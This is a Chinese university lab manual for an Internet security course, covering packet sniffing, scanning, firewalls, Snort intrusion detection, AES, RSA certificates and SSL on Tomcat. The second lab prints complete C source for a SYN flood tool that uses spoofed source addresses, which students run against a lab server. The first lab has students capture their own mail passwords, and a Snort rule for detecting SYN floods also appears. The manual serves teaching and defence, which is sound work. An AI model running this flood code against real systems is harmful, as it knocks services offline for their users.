《Internet安全》实验指导书12学时.docx
- 文档编号:24029403
- 上传时间:2023-05-23
- 格式:DOCX
- 页数:15
- 大小:21.07KB
《Internet安全》实验指导书12学时.docx
《《Internet安全》实验指导书12学时.docx》由会员分享,可在线阅读,更多相关《《Internet安全》实验指导书12学时.docx(15页珍藏版)》请在冰豆网上搜索。
《Internet安全》实验指导书12学时
《Internet安全》实验指导书
景建笃编写
2005年8月20日
实验一以太网网络监听与反监听2
实验二网络扫描与攻击3
实验三防火墙与入侵检测技术8
实验四对称加密算法AES的实现9
实验五RSA算法实现与数字证书的生成10
实验六使用SSL加密HTTP通道11
实验一以太网网络监听与反监听
一、实验目的
通过次实验使学生更加清楚网络监听给网络安全所造成的危害;掌握以太网网络监听的工作原理、常见的监听工具的使用;根据以太网网络监听的工作原理,设计监听检测软件。
二、实验环境
操作系统环境:
Windows2000/NT/XP;
编程环境:
Visualc++;Turboc;
三、实验任务
任务一、网络监听工具的使用
1.任务性质:
验证性实验
2.任务描述:
使用网络监听工具iris、Ethereal、Sniffpro等工具进行网络监听,获取用户的关键信息,分析网络信息流动,分析协议数据包结构。
3.任务主要步骤(注:
以运行Ethereal为例)
(1)先安装winpcap软件包,然后将Ethereal软件包拷贝到任一文件夹下;
(2)运行Ethereal开始抓包,网络信息流动,分析协议数据包结构;
(3)设置过滤规则,对所抓包进行过滤;
(4)试通过抓包获得自己的邮箱帐号与密码等用户信息;
任务二、监听的检测
任务性质:
设计性实验
任务描述:
监听软件的基本工作原理是将网卡置于混杂模式,接收所有流经网卡的数据包。
利用这个特点可以设计出监听检测软件。
以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:
ff:
ff:
ff:
ff:
fe)的ARPRequest数据报,只有正在嗅探的主机才会发送ARPReply数据报,这样就可以获得当前处于监听状态的主机列表。
四、实验报告要求
1.写出实验的具体过程及实验结果。
2.列出程序清单。
3.查询相关资料给出反监听的原理及方案。
实验二网络扫描与攻击
一、实验目的
通过这项实验使学生掌握扫描程序的工作原理、常用的端口扫描和漏洞扫描工具的使用;掌握拒绝服务攻击缓冲区溢出攻击的原理和攻击方法。
二、实验环境
操作系统环境:
Windows2000/NT/XP;
编程环境:
Visualc++;Turboc;
三、实验任务
任务一、网络扫描
1.任务性质:
验证性实验
2.任务描述:
(1)使用SuperScan3、Nmap扫描指定网段的活动主机及其打开的服务端口;
(2)使用X-Scan-v2.3扫描指定主机上的存在的CGI漏洞、IIS漏洞、RPC漏洞和SSL漏洞等,以及NT-Server上的若用户口令、NETBIOS信息等。
任务二、SYN洪水攻击
1.任务性质:
验证性实验
2.示例程序:
#include
#include
#include
#include
#pragmacomment(lib,"ws2_32")
#include
#defineSEQ0x28376839
#defineSYN_DEST_IP"17.17.44.55"//被攻击的IP
#defineFAKE_IP"10.17.44.15"
//伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#defineSTATUS_FAILED0xFFFF//错误返回值
typedefstruct_iphdr//定义IP首部
{
unsignedcharh_verlen;//4位首部长度,4位IP版本号
unsignedchartos;//8位服务类型TOS
unsignedshorttotal_len;//16位总长度(字节)
unsignedshortident;//16位标识
unsignedshortfrag_and_flags;//3位标志位
unsignedcharttl;//8位生存时间TTL
unsignedcharproto;//8位协议(TCP,UDP或其他)
unsignedshortchecksum;//16位IP首部校验和
unsignedintsourceIP;//32位源IP地址
unsignedintdestIP;//32位目的IP地址
}IP_HEADER;
struct//定义TCP伪首部
{
unsignedlongsaddr;//源地址
unsignedlongdaddr;//目的地址
charmbz;
charptcl;//协议类型
unsignedshorttcpl;//TCP长度
}psd_header;
typedefstruct_tcphdr//定义TCP首部
{
USHORTth_sport;//16位源端口
USHORTth_dport;//16位目的端口
unsignedintth_seq;//32位序列号
unsignedintth_ack;//32位确认号
unsignedcharth_lenres;//4位首部长度/6位保留字
unsignedcharth_flag;//6位标志位
USHORTth_win;//16位窗口大小
USHORTth_sum;//16位校验和
USHORTth_urp;//16位紧急数据偏移量
}TCP_HEADER;
//CheckSum:
计算校验和的子函数
USHORTchecksum(USHORT*buffer,intsize)
{
unsignedlongcksum=0;
while(size>1){
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size){
cksum+=*(UCHAR*)buffer;
}
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(USHORT)(~cksum);
}
//SynFlood主函数
intmain()
{
intdatasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
intTimeOut=2000,SendSEQ=0;
charSendBuf[128]={0};
charRecvBuf[65535]={0};
WSADATAwsaData;
SOCKETSockRaw=(SOCKET)NULL;
structsockaddr_inDestAddr;
IP_HEADERip_header;
TCP_HEADERtcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!
=0){
fprintf(stderr,"WSAStartupfailed:
%d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
//SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket()failed:
%d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(
SockRaw,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR){
printf("SetIP_HDRINCLError!
\n");
ExitProcess(STATUS_FAILED);
}
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"FailedtosetsendTimeOut:
%d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsignedlong));
//高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));//16位总长度(字节)
ip_header.ident=1;//16位标识
ip_header.frag_and_flags=0;//3位标志位
ip_header.ttl=128;//8位生存时间TTL
ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP);//32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);//源端口号
tcp_header.th_dport=htons(80);//目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_ack=0;//ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
tcp_header.th_flag=2;//SYN标志
tcp_header.th_win=htons(16384);//窗口大小
tcp_header.th_urp=0;//偏移
tcp_header.th_sum=0;//校验和
//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr=ip_header.sourceIP;//源地址
psd_header.daddr=ip_header.destIP;//目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;//协议类型
psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
while
(1){
//每发送10,240个报文输出一个标示符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536)SendSEQ=1;//序列号循环
//更改IP首部
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_sum=0;//校验和
//更改TCPPseudoHeader
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和,计算校验和时需要包括TCPpseudoheader
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum(
(USHORT*)SendBuf,
sizeof(psd_header)+sizeof(tcp_header)
);
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT*)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,
(structsockaddr*)&DestAddr,sizeof(DestAddr));
if(ErrorCode==SOCKET_ERROR)
printf("\nSendError:
%d\n",GetLastError());
}//Endoffor
}//EndofWhile
}//Endoftry
__finally{
if(SockRaw!
=INVALID_SOCKET)closesocket(SockRaw);
WSACleanup();
}
return0;
}
3.任务描述
(1)分析、理解程序。
(2)编译并调试程序;运行监听工具进行抓包。
(3)原则上,8人一组,在其中两台计算机上设置Web服务器,另外六台为客户机。
组中的五个客户机运行上述程序对其中一台Web服务器进行攻击,未参与攻击的客户机分别访问被攻击的服务器和未被攻击的服务器,观察访问效果。
四、实验报告要求
1.写出实验的具体过程及实验结果。
2.列出程序清单。
实验三防火墙与入侵检测技术
一、实验目的
通过这项实验使学生掌握防火墙和入侵检测技术基本原理,以及学会在Windows和Linux平台下配置简单的分组过滤防火墙和入侵检测软件。
二、实验环境
操作系统环境:
Windows2000/NT/XP、RedhatLinux9.0
三、实验任务
任务一、分组过滤防火墙的配置
1.任务性质:
验证性实验
2.任务描述:
在Windows平台下通过控制台运行IP筛选器完成对IP分组的安全过滤设置;在Linux平台下通过运行控制台软件iptables完成对IP分组的安全过滤设置。
3.任务主要步骤(注:
以Windows平台下IP筛选器为例)
(1)在运行对话框中输入mmc,并运行;
(2)在控制台中运行IP筛选器;
(3)添加IP筛选器表;
(4)添加IP筛选器动作;
任务二、入侵检测软件Snort的使用
1.任务性质:
验证性实验
2.任务描述:
Snort是一款轻量级的网络入侵检测系统,能够在IP网络上进行实时的流量分析和数据包记录。
它不仅能进行协议分析、内容检索、内容匹配,而且能用于侦测诸如缓冲溢出、隐秘端口扫描、CGI攻击、SMB探测、操作系统指纹识别等大量的攻击或非法探测。
3.实验主要步骤:
(1)、软件的安装
先安装winpcap3.0;
再安装Snort_232;
注意:
在安装时不要更改默认设置
(2)、启动Snort
C:
\snort\bin>snort-N-l..\log-h172.16.110.x/32-c..\etc\snort.conf
注意:
“172.16.110.x”中的x是本机IP地址的最后一个数。
(3)、观察报警信息
让其他同学使用superscan扫描本机,观察并分析log目录下的报警信息;
(4)、添加规则
在dos.rules文件中加入
alerttcp$EXTERNAL_NETany->$HOME_NET80(msg:
"maybemySYNflood";flow:
to_server;flags:
!
A,S;threshold:
typeboth,trackby_dst,count15,seconds60;)
注意:
添加此规则后可以检测到SYNFlood攻击。
四、实验报告要求
写出实验的具体过程及实验结果;
心得体会。
实验四对称加密算法AES的实现
一、实验目的
通过这项实验使学生深入理解对称加密的基本原理,了解各种经典的对称加密算法,实现最新的对称加密算法AES。
二、实验环境
操作系统环境:
Windows2000/NT/XP;
编程环境:
Visualc++;Turboc
三、实验任务
任务性质:
设计性实验
任务描述:
首先要完全理解AES算法的实现过程,然后用C或C++编写AES加解密程序。
编写中应注意其执行效率。
附录中给出《FederalInformationProcessingStandardsPublication197》即是AES算法的标准和验证示例。
四、实验报告要求
1.列出源程序清单;
2.分析软件的执行效率即每秒钟加密的字节数;
3.试给出改进意见。
实验五RSA算法实现与数字证书的生成
一、实验目的
通过这项实验使学生完全掌握RSA算法的实现过程、数字证书的基本概念。
同时还可以使用工具软件生成X.509数字证书。
二、实验环境
操作系统环境:
Windows2000/NT/XP;
其他环境:
SUNj2sdk1.4.1;
三、实验任务
任务性质:
综合性实验
任务一、RSA算法演示软件的使用
任务描述:
运行RSA演示软件,了解RSA公钥和私钥的生成的加密、解密过程和性能,掌握其工作原理;并理解其在数字证书中的作用。
任务二、数字证书的生成
任务描述:
运行SUNj2sdk1.4.1软件包中所提供的工具软件Keytool生成自签名的X.509数字证书。
任务主要步骤:
(1)生成keypair
命令:
keytool–genkey–aliasjingkey1–keyalgRSA
(2)自行签署
命令:
keytool–selfcert–aliasjingkey1
(3)导出证书
命令:
keytool–export–aliasjingkey1–filefilename.cer
四、实验报告要求
1.写出实验过程和实验结果;
实验六使用SSL加密HTTP通道
一、实验目的
在这个实验中,将在Windows或Linux环境下给tomcat配置SSL。
在完成此实验后能够加密客户端与服务器端的所有通信并认证进行单项或双向认证。
二、实验环境
操作系统环境:
Windows2000/NT/XP、RedhatLinux9.0;
Web服务器软件:
tomcat;
三、实验任务
实验性质:
综合性实验
任务描述:
在这个实验中首先生成客户端和服务器端的数字证书;接着部署相应的数字证书;通过HTTPS访问服务器同时用监听软件抓包分析是否加密。
四、实验报告要求
1.写出实验过程及结果;
2.分析加密是在哪一层进行的。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Internet安全 Internet 安全 实验 指导书 12 学时